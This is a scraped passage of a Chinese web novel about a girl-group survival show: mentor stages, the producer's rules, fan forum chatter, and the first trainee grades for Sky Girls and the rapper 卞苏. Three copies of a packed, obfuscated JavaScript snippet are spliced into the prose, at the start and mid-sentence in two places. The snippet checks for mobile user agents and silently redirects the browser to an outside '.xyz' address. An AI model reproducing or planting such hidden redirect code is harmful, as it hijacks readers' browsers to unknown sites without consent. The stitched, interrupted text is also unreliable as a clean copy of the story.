;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234595|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满屏红光,醒目的“warning————warning————”刹那间占据了整片屏幕,紧接着劲爆的鼓点响彻全场,强劲的节奏瞬间让所有人都兴奋起来—— 升降台倏然打开,赵蕴予一身皮衣热裤,长发飞扬地从场地中间跳出来,欢呼声立马掀翻了全场,国内女爱豆的先行者大前辈谁不认识?喝彩声排山倒海传来: “赵蕴予!赵蕴予!” 赵蕴予显然习惯了这种场面,笑着向席位处飞了个吻。 她不愧是国内知名的舞担,浑身上下都有一种利落自然之感,绝佳的身材比例形成完美的框架,每一次发力都重重地踏在节拍之上,凌厉的美感勾得席位上欢呼声更盛,几乎全场沸腾。 “赵蕴予!赵蕴予!” “我靠怪不得warning呢!!啊啊啊啊啊啊啊!我要晕过去了!就说谁能扛得住赵姐的美颜暴击!谁能!!” “我天我天我偶像啊啊啊啊!我第一支舞曲就是跟着她们团学的,她们出道专辑的主打曲我整整循环了三千九百多遍啊!倒着都能唱出来!” “真的不虚此行了,妈妈我看到活的赵蕴予了!我出息了!” ENDING PART结束之后,赵蕴予笑着向席位上眨眨眼,成功收割又一波尖叫后才施施然退场,做到正中间导师席位的最右边。 她拿起话筒,比了一个“嘘”的手势,“大家不要躁动哈,让我们安静地欣赏完一首歌,ok?” 果然,原本还充斥着各种尖叫的席位上蓦然安静下来,练习生们一个做得比一个端正,镜头扫过,就连笑也露出了标准的八颗牙齿。 灯光不断变换,最终只剩下单纯的绿白两色一遍遍扫过舞台,烟雾四起,一架立式麦克风赫然出现在舞台正中央。 缓慢而沉静的女声渐渐流淌出来,潮水般淹没整个舞台。 费谣难得唱了首慢情歌,这是她刚出道没几年写的歌,内容是梦想成长路上的跌跌撞撞。 她这几年唱得都是节奏型的舞曲,今天特地有意挑了这一首也有特殊用意,毕竟在座都是二十来岁的小女生,正是追梦的年纪。 天后不愧是天后,这首歌好几个拍子都踩在了反拍上,普通人唱只会觉得一口气喘不上来,费谣却顺畅无比地唱了下去,连转音都如珠玉般圆润平滑,让人只觉天籁之音。 她唱到最后,竟然有几个女孩子悄悄红了眼眶,她们擎着眼泪看费谣唱完,才在四下安静的演播厅悄悄抽噎两下。 费谣扶着和她几乎同高的麦克风架子,和煦目光温柔地扫了一圈,才缓缓开口: “其实这一首歌,关于受伤,成长,和希望。 追求梦想的道路上可能荆棘遍布,也可能会风霜加身, 但你已经心甘情愿地在这条路上走了下去,就会甘之如饴地走到黑。所以不要害怕梦想能不能实现, 当你选择在这条路上走下去的时候,你的梦想就已经完成了一大半了。” 她抽出麦克风,朝着席位微微欠身,起身后才温声说, “这是这首歌想要告诉大家的,也是我本人很想要告诉大家的。” 费谣望着已经感动得红了一片眼眶的席位哭笑不得,“咋都这么悲伤呢,我唱的不好吗?” 此话一出,流着泪的女生们登时不干了,大声回应她: “好!” “特别特别好!真的!” “全世界最好的费谣老师!” “真的唱得特别特别好听!” 费谣笑起来,故意揶揄道,“真的吗?” “真的!” “比黄金还真!” “比我的心还要真!” 这位天后笑得热烈,丝毫不在意已经晕花口红的红唇,“那这样的话,我再给大家唱一个更真的。” 灯光四暗,费谣摆手推过欲言又止的导播,从急匆匆赶来的助理手中接过一把原木色的吉他,直接拖了导师席的位置坐在离席位最高的地方。 吉他的弦被一一扫过,轻灵的弦音飘荡开来—— “回望一盏盏灯火 掠过一场场华诞 是否心酸沉重 走过一幕幕盛景 领略一次次人间 是否无力 想要放弃 光灯渐次亮起 行走在无边黑暗之中 那是我们,摇摇欲坠的梦 镜中无数次倒影出的身影 泪水打湿衣衫 我也曾如此蹒跚无力 你说岁月漫长愿追随我漫长成长 我说时间不晚想让你看见我模样 你说我独一无二笑魇是最大嘉奖 我说我何其有幸能得你殷切注视漫长 我会给你看最好模样哪怕跌倒受伤绝望 不怕暴雨刀剑风霜 我从万象中缓步而出 只为向你呈现 最好模样 ” 和弦声渐弱,最终消散在舞台不知何时喷出的白雾之中,费谣抱着吉他收弦,脸上是未散却的柔和笑意。 7. 初评级(二) 满场寂静。 没有人想到一向以热情火辣著称的费谣会唱这样抒情的慢曲,更没有人会想到费谣这个级别的天后,竟然会愿意为了一档综艺写曲子。 连节目组都没有意料到。 还是台边的导播率先意识到这件事情,难以自饰的喜色浮上眉间,她连忙拿起对讲机:“三号机位?三号机位有没有拍到正面特写?” 得到肯定的回答之后,她急声道:“宣传组现在就去对接费老师的工作室,跟她们商量愿不愿意把这段视频当作‘万象’宣传的先行物料。……我知道费老师还没下台!你先去联系她助理! 不管愿不愿意今天之内都必须给到我答复!通知剪辑组准备把这段放在会员加长版里面,尽快给我样片。” 台下风云搅动,无数人因这突生变故闹得人仰马翻; 但台上却是另一番的岁月静好,费谣笑吟吟地把麦克风挪开,“好听吗?” 台下的反应简直如同山呼海啸:“好听——!” 费谣满意点头,“这是我看了先导片之后写出来的一个小片段,临时写的比较仓促,只能清唱给你们听。” 台下陆续有人喊, “不仓促!”“很好听!” 费谣起身把吉他取下,转身就坐在赵蕴予身边,还不忘朝身后挑眉:“还有更好听的。” 话落,刚才还一派柔和的顶灯突然光芒大作,人声混着电音的劲爆beat瞬间席卷整座演播厅—— “ayo,让我们兴奋起来!大家今晚好吗——” 刚才的柔和幻梦一下次就被狠狠击碎,取而代之的是肾上腺素的急剧飙升,希林朝着席位处一挥手,欢呼声就排山倒海地压过来。 戴着鸭舌帽的女孩拿着麦克风从一旁上台,一段快嘴随着激越的鼓点攀上高峰,希林拿着麦克风站在一旁,顺着高潮的到来唱出hook(副歌)。 灯光顺着拉长了腔调的高潮旋律攀到顶峰,Kiana默契接上第二段verse,她的中文虽然稍显生涩,吐字却快得利落清晰,就算这一段的flow和上一段完全不同,看上去对她来说也没有丝毫影响。 希林的衔接给得恰到好处,这一段演出下来,就算是完全不懂rap的也能听出两位rapper实力强劲,水准卓越。 * 不同方向的导师都先后入座,但五个座位之中,最中央的位置却始终空着。 答案迟迟不得揭晓,席位台上渐生议论,就连谙熟韩系选秀的谭清清也忍不住好奇, “最中间的肯定是PD,是整个节目的制作人,”谭清清小声和时虞清咬耳朵,“咱这是选秀,中间压阵的肯定事大爱豆,顶流级别的。” 但是说到这里,谭清清难得迟疑了一下,才纠结地小声道:“可是赵蕴予都来了,现役爱豆也只有她队长能担得起这个位置了,不过就算用脚趾头想也知道节目组不可能把人家半个队放上导师席啊。” 时虞清没有追星经历,倒也谙熟娱乐圈那一套,没有被框住,当即就从谭清清的逻辑圈跳出来,咬着牙小声道:“有没有一种可能,人家根本就不是国内的爱豆——” 她最后一个字的音节没有完全落下,就倏然被一场强劲音浪掀翻! 凌厉鼓点顺着不断向外扫射的灯光震慑全场,音乐声却在攀上顶峰的时候刹那间弱下来,取而代之的是一段密集的鼓点。 大屏幕从上而下缓缓拉开,成群的伴舞鱼贯而出,殷辞玉一身吊带短裙站在最中央,她垂着头,看不清表情。 “我靠啊啊啊啊啊啊啊啊!!!我担!殷辞玉啊啊啊啊!!!!!!” “我去我女神!!大发大发!!殷辞玉!” 节奏瞬间加强,殷辞玉缓步踏出舞台,浅色的长发在鼓风机的吹拂下顺着身后的方向狂舞,肩带上的碎钻熠熠生辉,几乎能把人眼睛闪瞎。 但比这个更闪耀的是她飞扬的眼角和堪称璀璨的双眸,音乐的鼓点霎时间密集起来,伴舞的走位复杂而有序,像是一个巨大的花盘托起殷辞玉。 副歌旋律中的警报声在一瞬间将演播厅的气氛拉到顶点,殷辞玉一手拿麦克风都没有影响动作,killing part做得漫不经心,抬起的手掌遮挡之下的瞳孔冷冽却富含魅力,像是一把带刺的细长银钩,让人无法脱离视线。 她站在那里,整个世界就好像一下子被孤立起来,只剩下那段节奏多变的旋律和她本身。 刺目的冷白顶光从她的肩头顺延而下,将她的每一根发丝都照耀得分毫毕现,殷辞玉的身体是贯穿这个世界的巨大游鱼,每一次舞动、每一次转身都足以掀起能够掀翻这个世界的惊涛骇浪, 她的存在、她的本身就是一个巨大的漩涡,迅急而凶猛地旋转着,搅动着这片海洋、这个世界的每一滴水浪、每一份空气。 谭清清看得热血沸腾,恨不得当场变出一个硕大的灯牌,她扯着嗓子,喊得脖子上青筋毕现。 时虞清则是直接看呆在原地,她对唱跳了解不深,但却想着了魔一样,殷辞玉的每一次发力都重重地敲击在她的心上,她恍惚地紧盯着台上那个光芒四射的身影,连每一寸发丝的舞动都不舍得放过。 毫不夸张的说,站在舞台中央的殷辞玉足以睥睨众生,她是当之无愧的无冕之王。 她现在的感受已经不能用“惊艳”来形容了,只有“震撼”两字才能勉强表露一二。 摄像机沉默而专注地记录下现在一些,只有导播室的工作人员看着几乎全场的呆滞和震撼表情,哭笑不得拿起对讲机: “这里练习生的表情少剪一点,一个两个都呆成什么样了……” * 殷辞玉站在五位导师的中间,刚才睥睨众生的气质荡然不存,比起刚才在舞台上叱咤风云的顶级女爱豆,这个时候的她更像是邻居家事业有成的漂亮气质姐姐,就连拿起话筒说话的声音都带着距离感的温柔: “100位练习生你们好,我是万象制作人代表,殷辞玉。” 她话音刚落,展台处的练习生们就已经齐刷刷地起立,朝着五位导师的方向一起鞠躬。 但回应的声音显然没有这个默契,反而显得五花八门, “PD好!” “殷老师好!!” 殷辞玉耐心地等着声音小下去一点,才继续道:“《万象如我》这个舞台是需要通过万象制作的投票,来最终决定出道团体的最终人选。 随着节目录制,你们的位置会越来越少,直到剩下五张。” 她的目光穿过层叠的人群,锐利地望向最顶端的五把巨大华丽座椅,“意味着,你们之中,只有五位能够出道。” “而最终决定你们去留的,是万象制作人手中的票数。 你们要在镜头前面展现出自己最完美的样子,才能争取到万象制作人们手中的宝贵一票。” 她沉静地望向神态表情各异的女孩们,不容置喙地宣布道: “现在我宣布,初评级舞台正式开始。 练习生们,拿出最好的一面来被看见吧。” * 《万象如我》的宣传着实给力,在#费谣清唱抒情曲#的词条下面,除了费谣抱着吉他坐在舞台正中央弹唱的视频,大眼APP的广场已经充斥着各色练习生的证件照片,官方博文的热度节节攀升,评论以秒计数爆炸式增长。 1L:好优越好伟大的九张脸…… 2L:啊啊我大华夏终于也要搞选秀了吗!期待期待! 3L:给位姐妹们,今日份的快乐源泉终于出现!@最佳限定小仙女,诡秘速速前来舔屏prprpr! 4L:图三的小姐姐是谁!我天好御的一张脸,姐姐鲨我! 5L:回楼上,这是我们可御可甜的小姐姐于蕴涵!请多多支持~ 6L:最后一个小姐姐感觉好像邻家大姐姐,回家找不到钥匙就会收留你一夜的那种(泪目.jpg),真是妈妈级别的…… 7L:我天竟然真的有人能抗住灵讯的死亡打光保持冷白皮,好顶的九张脸…… 8L:看到p6的甜妹我心都要化了(大哭.jpg),谁懂啊甜妹真的是这个世界上最伟大的发明!余纭小姐姐往前冲啊! 9L:只有我看到p4的小姐姐酷到没边了?啊啊啊有没有姐妹有同感!这可是主人级别的啊!(震声 10L:我来认领!真的好戳我啊啊啊! 11L:+1 12L:+10086 ………… * 豆瓣娱乐区—打起来吧观察者小组 《那谁,真的要去搞女团选秀了?!》 热门回复: >很难评啊,她真的不会跟其他人扯头花然后打起来吗? >乐死我了,就怕这姐突然一挥衣袖,来一句“桀桀桀,你们的死期到了。” >那谁好像没上过综艺吧,路演也少。几次被拍到还都是在演话剧。还真不知道她性格咋样。 回复:这还用问?能把那种角色演得还行,本身性格肯定也差不多,要不就每天阴恻恻,要不然就炮仗。 回复:事实胜于雄辩啦,能在sd的时候直接赶人能是什么好东西? >我勒个,她公司到底怎么想的,syq都快被黑成什么样了还去搞选秀,真不怕死啊。 >李涛纯路人,看了图透,这姐妆不浓的时候是真的好看,内娱长得这么干净的人很少了 >同纯路人,说句公道话,你们剧圈真的不要太高贵,sd了两个小时人家有情绪怎么了,没看见女二都快晕在凳子上了吗? 回复:那谁的粉丝上大号说话好吗,也是见了鬼了,这姐竟然还能有粉丝?? 回复:纯颜粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234596|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,前十秒刚刚垂直入坑,守护全世界最好的时虞清【爱心】【爱心】。 >我真晕了,你们颜狗能不能吃点好的。 >楼上说什么鬼话,syq颜顶不是公认的事实吗。 >楼上你没事吧,不是你黑她最起劲吗。 >我是黑她耍大牌好不好,别瞎他爹的乱扯,我可从来没说过她丑。 >打起来!打起来! >我勒个老天奶啊,只有我一个人在关注灵讯窜稀一样的宣发吗,她们官号快炸了…… ………… * 演播室 负责宣传的工作人员抱着平板一路穿梭在舞台的钢架下面,绕了好几圈才好不容易找到执行导播,忙不迭地把手中的平板往前一递, “头儿,咱们这条博爆了!” 被急匆匆抓住的导播闻言定睛一看,果然,词条已经有了千万的讨论度,看上去离热搜就差一步之遥了! 她接过平板,匆匆滑了几条博文,一目十行地扫视过去—— 点赞、转发都已经破了十万,就连评论也在一直增长,好几条都已经破万了! 导播精神一振,她就说宣发是有效果的! 怪不得老大力排众议把经费都砸在了请嘉宾身上,这不!已经见到了回本的希望了! 想到即将到来的高额绩效和年终奖金,导播脸上的笑容愈发灿烂,她满意地向下滑动界面,却突然像是想起了什么,倏地扭过头去:“练习生的前采你们做了吗?” 宣传组的工作人员看上去有点犯难,迟疑了片刻才小声说:“不是您说等初舞台结束再跟着赛后采访一起做吗?”、 导播闻言皱紧了眉头,她在原地来回踱步几圈,才终于心一横牙一咬,像是下定了决心:“殷老师那边应该刚开始没多久吧?这样,你让后几组的练习生提前后场准备,每个人录一段大概二十秒的自我介绍,先当物料发到网上。” 机不可失时不再来,这一次的热度就是千年难遇的东风,不赶紧搭上东风还等什么?宣传效果做到最大化才是王道! 宣传组的工作人员闻言吃了一惊,但数次经验下来她也没有反驳这位交集不算多的领导,而是一连声应和,转身就去找后台的编导协商了。 看着穿着黑色马甲的女孩身影逐渐远去,导播才慢慢放下心来。 演播厅的灯光太盛,竟然直接穿透了层层叠叠的铁架和空地,照进了这一片黑漆漆的后台。 音乐声隐隐约约飘来,导播在原地深吸了一口气,才抬步匆匆向前走。 至少在今夜,没有人比她们能希望这群练习生们能演出顺利。 * 第一个被念到公司名字上台表演的恰好是坐在时虞清身边的女团。 比起单枪匹马的时虞清和满脸清澈无辜的谭清清,这个女团显然更成规模,更符合大众心中对于“女团”这个词语的刻板印象。 不管是样式相似的服装,还是统一风格的妆造,都让她们看上去像一个紧密而不可分割的团体。 正中央的女孩一头红发,小西装上面的装饰性流苏闪闪发光,她身材高挑,五官因为下庭偏长的原因,看上去更偏冷艳,颇有现下时兴的御姐范儿, 而被叫道第一个演出,她也只是在原地深吸了一口气,然后迅速整齐队伍,刚才还忐忑不安的其他女生也因为她迅速镇定下来,跟着她有序下台阶,朝着后台走去。 数十盏灯光迸发出银白色的光柱,耀眼的光芒汇聚在一起而后又再次散开。 五人女团在台上一字排开,动作整齐划一地向导师席鞠躬: “老师们好!我们是——” 她们两手外翻后在胸口处张开,比出一个翅膀的形状, “Sky Girls!” 不需要导师提醒,她们从左到右逐一开始自我介绍, “大家好,我是天空娱乐的方悠,是skygirls的副主舞。” “大家好,我是天空娱乐的谈暖,是skygirls的副主唱” “大家好,我是天空娱乐的林秀,是skygirls的rapper” “大家好,我是天空娱乐的翁静云,是skygirls的主舞” “大家好,我是天空娱乐的冯诗晴,是skygirls的主唱” 时虞清专注地看着她们,直到刚才那位队长出列,她才暗暗把名字记住。 主舞……听上去很厉害的感觉。 殷辞玉专注地看着她们,因为是第一个上台的团体,她不愿意再强调一遍或是提醒一遍,以免给她们增加“第一个”的压力。 她只是朝着站在舞台中央,看似淡定实则紧张到裙摆都微微颤抖的女孩抬起手,从容地先前伸开, “好。那么,Skygirls——” “请开始你们的表演。” 8. 初评级(三) 灯光骤暗。 四周的光渐次朝着中央汇聚,彩灯的副灯逐渐亮起,空气状朝着旁边扩散。 鼓点混着节奏在舞台蔓延开来,翁静云从四人层层包围的圈中踏着鼓点走出,抬手做出第一个舞蹈动作。 她的手臂顺着身体的曲线游走一圈,翁静云身体发力,做了一个类似于“滚动”的动作。 以她的身体为半点,四个队友顺着音乐的节奏向外散开。 她们配合着翁静云的动作,向后伸长手臂,汇聚成了一整个圆圈。 音乐铺陈开来,女孩们显然准备充分,每段part都各有亮点,走位顺滑。 她们所在的公司这些年算得上小有名气,而女团这些年的市场越来越大,为了扩展市场份额,公司早就想要分上一杯羹。 不管是前期的练习生筛选,还是后期的声乐、舞蹈培训,公司都投入颇多。 《万象如我》筹备的消息一出,她们的公司就紧锣密鼓地筹备期起来,最后甚至不惜血本送五个女生去了韩国培训。 Skygirls,就是她们迄今为止最完美的作品 ………… 但是殷辞玉看着她们中间随着走位越拉越大的空隙,逐渐皱紧了眉头。 她握住麦克风的话筒,偏头向坐在左右边的赵蕴予递了一个眼神。 赵蕴予笑得甜美,但笑意却并没有直达眼底。 在殷辞玉刚刚转头的时候她就已经知道她要说什么,默不作声地顺着她的目光点点头。 不管是台上表演的女孩们还是台上的导师们都是同步耳返的,比起舞台之上震耳欲聋的伴奏,她们听到的都是最本真、最纯粹的原声。 而费谣听着耳机之中愈发明显的喘气声心中也是打鼓,但想到面前的女团是第一个上场,她控制脸上的表情没有太多的表情变化,以免让她们更加紧张。 “好,很精彩的表演。” 殷辞玉拿过手中的打分表,准备开始打分。 费谣看着眼前鬓边都开始微微出汗的女孩不禁失笑,“第一个上场,能做到这个地步不容易了,给自己一点信心。” 五个女孩连连点头,感激地连连点头,脸上原本紧绷的表情的确有所和缓。 台上纷纷被感化, “哇塞费老师好暖。” “是喔是喔,我要是台上的练习生我估计得感动得哭出来。” 赵蕴予看着五个女孩脸上几乎实打实写出来的“紧张”有些不忍,但还是开口, “殷pd刚刚跟我沟通了一下,我们都觉得你们的舞蹈有一个很大的问题。” 闻言,五个女孩的心立马提到了嗓子眼。 “走位。” 赵蕴予站起身,抬手像她们比了一个刚才她们舞蹈中曾经出现的动作,“你们的编舞是从这个位置开始走位,但也是从这个位置开始,你们的队形就开始乱了。” 大屏幕上适时地出现了刚才舞台的回放,事实的确如赵蕴予所言,从那个动作她们散开开始,每个人距离当时part的间距就各不相同。 韩团人数多,不管是部分和部分之间的衔接,还是成员的走位都显得尤其重要。 一旦成员之间的间隙不对等,舞蹈的完整性和整齐性都会大打折扣;除此之外,过大的间隙还会放大某一成员在动作上的失误。 动作整不整齐,走位变换的速度能不能跟上拍子,这都是一瞬间的事,也是粉丝一抬头,就能看见的事情。 听到赵蕴予这样说,席位上的女生也反应过来, “她们这个舞蹈的幅度太大了,跳着跳着,哎嘿!一不小心就站远了。” “她们这是紧张了吧?我之前看她们练习室视频的时候不是这样的哎。” “赵老师好专业啊我天,感觉她们标准好高。” “救命我已经开始慌了……” “除了这个,”费谣接过赵蕴予递过来的话筒,“你们有没有觉得自己唱得很吃力?” 台上五个女孩一愣,然后就是如遇知音般激动着连连点头。 “这首歌的节拍比较碎,换气确实有时候会接不上档,”费谣的声音很耐心,“而且你们还要在唱歌的时候跳舞做动作,本身气息就不是很稳了。” “可是试着边跑步边唱,”费谣笑起来,“明白吧?要让你的身体习惯这个感觉。” 台上的五个女生似懂非懂,但还是乖乖鞠躬,说谢谢老师。 “好,”殷辞玉及时接话,“现在开始公布天空娱乐练习生的等级,” 五个女生的表情瞬间紧张起来,放在裙子前面的手不停搅动着,像是根本就不知道该怎么放了。 “A等级的,”殷辞玉停顿了下,“没有。” 五个女生脸上的表情并不意外。 “B等级的,”殷辞玉一一扫过五人脸上的神色,发现某人的神色果然变得不镇定起来,她没有吊人胃口的癖好,当下就当机立断道:“天空娱乐,翁静云。” “没有了。” “C等级的,”殷辞玉停顿一下,才报出一长串人名,“天空娱乐,林秀、谈暖、冯诗情。” 被叫到名字的女孩神情明显放松下来,有劫后余生的暗自庆幸,也有失落遗憾后的暗下决心。 只有其中唯一一个没有被念到名字的女孩面色惨白,她五官平整,眼睛在饱满的卧蚕下显得格外大,盈盈泪光在其中打转,我见犹怜。 “D等级的,天空娱乐,方悠。” 殷辞玉念完名单,抬起头看向女孩们。 她的视线一一扫过,最终停留在方悠犹带泪痕的脸颊上,她犹豫须臾,还是选择缄口不言,而是抬手示意, “下一组练习生准备。” * 其实认真来说,国内的女团发展并不完备,相对于不管是培养机制还是市场氛围都已经成熟的韩国来说,华夏的女团都显得相对稚嫩,或者说,聊胜于无。 在Skygirls之后,各种抢拍、失误层出不穷,但这还只是在唱跳的限定范围之内,更有甚者直接放弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234597|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了唱跳这意标准范式,选择直接表演唱歌。 费谣笑着打趣,“嗨呀,这群小孩是给我找事干呢。” 殷辞玉却看得眉头紧皱,她是被按照女偶像标准被培养出来的最佳范例,她可以接受唱得不好、跳得不好,却并不能接受这样“扬长避短”的自暴自弃。 在这一组练习生下台之后,殷辞玉柳眉倒竖,索性径直拿起话筒,站起身面对着身后的席位开口, “我想请各位先明白一件事情,《万象如我》这个节目,到底是想培养什么样的选手。” “《万象》培养的、选拔的是国内最好的女团,是偶像行业的标杆,只靠一条腿走路是行不通的你们知道吗?” “唱跳偶像,你们需要的是唱跳啊!”她很罕见地加重了语气,从节目录制开始,殷辞玉都是一派沉稳如山、和颜似水的样子,她还是第一次展现出这样锐利毕现的锋芒, “表情管理没有、甚至连最简单最基础的舞蹈动作也没有。” 她轻轻呼出一口气,才继续道, “我想请各位练习生记住,你们现在选拔的是华夏最专业的女团。” “你们是什么样,华夏的女团成员就是什么样。” 她说完就放下了麦克风,又换上了那副温和却又不严厉的样子,抬手示意:“下一组练习生,准备。” 席位上噤若寒蝉,没有人想到殷辞玉会苦口婆心至此,选秀节目……再怎么样也就是个综艺节目而已,有必要这么认真吗? 几个人在心中暗自腹诽,但更多人却是有所触动地低下头,若有所思。 但不管她们心中想着什么,在这一刻,她们都无比期盼下一个练习生能是符合“女团”标准的练习生,好让现场如死寂般的氛围重新复活。 她们翘首期盼着,甚至有几个坐在入口处的练习生已经站起了身,望眼欲穿地盯着门口,祈盼和忐忑充斥着她们的大脑,心脏在胸膛中重重搏动。几乎要跳出嗓子眼。 老天保佑让我们出一个天选女团成员吧——! 但当那抹身影出现在舞台出口,所有练习生都傻了眼,她们几乎是瞠目结舌地坐在原地,心中只剩下了一个念头—— 完了。 但这些情绪并没有干扰到那位女生,她闲庭信步般走向舞台,一头利落的短发旁边是闪闪发光的曜石耳钉; 带着柳丁的黑色皮衣之下是干脆利落、几乎酷飒到硬核的工装背心,笔直而宽松的西装裤只坠而下,和脖子上皮质的双股choker(项圈)遥相呼应。 相比于大多数选手或清丽或明艳的妆容,她脸上的妆容简直素净到可以说是寡淡,没有线条流畅的眼线、没有饱满莹润的唇蜜; 只有用大地色眼影简单勾勒出轮廓的一双清冷丹凤眼,和两弯只是用棕色眉笔描绘出大致轮廓的细眉。 她不甜美、不明丽,甚至没有成熟带来的微妙性感,只有一种雌雄莫辨的中性美,带着冷冰冰的攻击性。 “大家好,我是卞苏,来自中星天工作室。” 9.初评级(四) 不同于之前几位选手所采用的或灵动或柔美的舞曲风格bgm,卞苏用的bgm简直称得上是简单粗暴,只有最纯粹的beat(节奏),复杂的鼓点中掺着劲爆的拉长电音。 一耳朵停下来,根本不像是女团曲的kpop风格,倒更像是rapper们freestyle时惯用的bgm。 但负责指导rap的kiana和希林倒是眼前一亮。 之前上场的练习生要么就是压根没有唱rap,要么就是为了歌曲的完整性随便来了一段,比起标准的rap还是有一段相当的距离,离read倒是更近一些。 但卞苏和她们完全不一样,rap这个东西是一张嘴就能听清水平的,不管是flow还是腔调,亦或者是咬字和重音,卞苏的水平都显然非常超前。 参加过嘻哈比赛的希林敢打包票,卞苏这个水平,就算到了专业的说场比赛也绝对算得上上游。 唱rap时候的卞苏和她看起来完全不同,她完全褪去了作为偶像的谦卑、柔顺,被掩藏起来的冰冷攻击性在她的快嘴中完全被暴露出来,玫红色发丝在她卡拍做break(停顿)时简直嚣张到耀眼。 时虞清还是第一次听现场的rap表演,她第一次发现原来不同的文字组合在一起能这样锋锐冰冷,原来不用歌词不用伴奏只用字词和字词之间的衔接和停顿就能让人感觉出歌手的态度。 她愣愣地盯着台上像是在发光的卞苏,女生的发丝随着语速的加快在空中飞扬,银色的素圈耳环在她的耳边晃荡,像是一道疾速划过天边的暗色流光。 Kiana才刚回国,对于华语说唱完全没有英语说唱来得熟练,但rap又不是只看rap词,眼前女生一听就不是菜鸟,不管是吐字还是起伏都很熟练,这个水平就算在高手云集的西海岸也吃不了亏。 但就算席位在座的所有练习生都能听得出来卞苏实力强劲,可毕竟刚刚殷辞玉的话还回响在耳边,众人心中还是惴惴,恨不得卞苏现在就开口来一段高音。 可下一刻—— 灯光骤变。 原本为了配合说唱的暗色灯光一瞬间全部变凉,霎时间,整个舞台恍若白昼。 卞苏在灯光变换的那一刹那弯下腰放好麦克风,下一秒就用手撑着舞台,单腿踢出了一个利落的回环,竟然是相当标准的托马斯大回环! 席位上一瞬间沸腾,整个演播厅都被这个堪称绚烂的舞动动作点燃,欢呼声四起,甚至有几个女孩直接站起身,朝舞台喊得面红耳赤。 但卞苏却丝毫没有受到影响,每一个舞蹈动作都卡得严丝合缝,她身材比例好,跳舞时形成的框架自然也就赏心悦目,这下,就连一向不好说话的殷辞玉都暗暗点头。 眼前女孩的舞台虽然带着很浓的地下味,不像是接受过正规的舞台培训,但几个动作下来都能看得出来基础扎实,除了平常练习到位,就只能用“天赋异禀”这个词语来形容了。 尽管跳得只是hippop加上一点locking,但是舞台完整度也已经不输配置完备的女团了,况且卞苏还是solo,能做到这个份上已经相当不容易了。 卞苏站在原地,原本飘逸轻盈的发丝已经微微被汗水打湿,像是一块冷冻了很久的冰突然开始融化,她单手把着麦克风,波澜不惊地看着导师席。 Kiana率先出声,“你,表演很棒。” 她的中文算不上熟练,可就是因为这样才听起来显得格外真诚。 希林也丝毫不吝啬自己的夸奖,抬手向卞苏比了一个大拇指,“这是节目进行到现在,表现最好的一段rap了。” 卞苏宠辱不惊,只是欠身鞠躬表示礼貌。 赵蕴予很喜欢她的舞蹈框架,这种随性却不随意的台风让她倍感亲切,“跳得不错,就是发力方式可以再改一下,” 她站起身,抬手仿着卞苏刚才的动作比了一个半圆,“像肩膀这里,可以不用那么用力,因为你这是一个类似滚动的动作,肩膀太用力的话你这个动作就做不起来明白吗?” 就像是被榫卯结构固定住的轴承,严丝合缝固然很好,但如果这一根轴承被刻意地牢牢固定在原地,就绝对没有办法丝滑地转动起来。 卞苏若有所思地点点头,趁席位上没有那么多人盯着自己,她甚至还悄悄在原地自己按照赵蕴予的指导试了一下。 卞苏发现果然和赵蕴予说的一样,用这样的发力方式不仅会省力很多,而且就算现在看不见镜子,她也觉得现在的动作更加流畅自然,不用想也知道看上去会更加好看。 殷辞玉显然也对卞苏相当满意,她拿起手边的打分表,轻声道:“稍等一下,你的打分结果我需要和其他几位导师商量一下。” 这句话的暗示实在是太过于明显,殷辞玉话音刚落,席位上就人窃窃私语起来, “咱们的第一个A是不是要出了?” “这包是A的好吧,咱们几个里面有几个能有这样的rap水平的?” “我有预感,到时候A班名单全出,可能都只有卞苏一个纯种血脉的rapper。” “这倒是,女爱豆里面优秀的rapper本来就少,能厉害到这种份上的就更是难得一见了。” 不是仅仅只有练习生们讨论得热火朝天,就连导师席位上也是争论不休、寸步不让。 Kiana从节目刚开始到现在就说话很少,她是rapper,对于舞蹈和唱歌都说不太上话,现在好不容易出来一个水平算得上是不错的卞苏,她自然不想放弃,对着殷辞玉直截了当道: “A。” 就连在旁边的希林也是连连点头,“辞玉姐,这个我真的是觉得可以给A。” “是呀辞玉姐!”赵蕴予从费谣身后探出脑袋,对着殷辞玉连连比划大拇指,“我也觉得A可以有!” 卞苏的舞蹈框架实在是太熟练了,就连台风也浑然天成,简直令人无可指摘。

